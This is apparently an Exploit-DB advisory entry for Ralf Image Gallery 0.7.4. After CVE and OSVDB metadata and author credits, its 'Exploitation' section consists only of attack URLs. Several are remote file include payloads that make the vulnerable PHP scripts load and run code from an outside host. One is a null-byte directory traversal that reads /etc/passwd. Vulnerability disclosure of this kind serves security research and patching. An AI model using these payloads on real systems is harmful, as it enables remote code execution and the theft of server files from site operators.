ralf image Gallery 0.7.4 - Multiple Vulnerabilities

Author: Aesthetico
type: webapps
platform: php
port: 
date_added: 2006-06-21 
date_updated:  
verified: 1 
codes: OSVDB-46973;CVE-2007-4127;OSVDB-26756;OSVDB-26755;CVE-2006-3210;OSVDB-26753 
tags: 
aliases:  
screenshot_url:  
application_url: 

Title: Ralf Image Gallery <= 0.7.4 - Multiple Remote File Include and directory
traversal Vulnerabilities
-----------------------------------------------------------------
Vendor: RIG is developed and maintained by Le R'alf
URL: http://rig.powerpulsar.com/
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------

Exploitation:
-----------------------------------------------------------------

/check_entry.php?dir_abs_src=http://www.yourspace.com/yourscript.php?
/check_entry.php?dir_abs_src=../../../../../../../../../etc/passwd%00
/admin_album.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_image.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_translate.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-22]